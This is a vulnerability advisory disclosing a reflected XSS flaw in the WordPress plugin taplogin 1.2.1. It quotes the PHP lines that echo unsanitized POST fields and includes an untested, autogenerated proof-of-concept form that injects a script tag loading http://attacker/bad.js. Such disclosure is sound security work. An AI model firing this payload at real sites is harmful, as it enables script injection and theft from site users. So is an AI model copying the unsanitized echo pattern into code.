Advisory #: 1151
Title: Reflected XSS in wordpress plugin taplogin v1.2.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/taplogin
Downloads: 311
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: taplogin
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./taplogin/taplogin.php: 212: <input type="hidden" name="auth_token_id" value="<?php echo $_POST['auth_token_id']; ?>"/> 213: <input type="hidden" name="auth_token" value="<?php echo $_POST['auth_token']; ?>"/> 214: <input type="hidden" name="url" value="<?php echo $_POST['url']; ?>"/> The variable auth_token_id appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./taplogin/taplogin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/taplogin/taplogin.php method=post> <input type=hidden name=auth_token_id value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>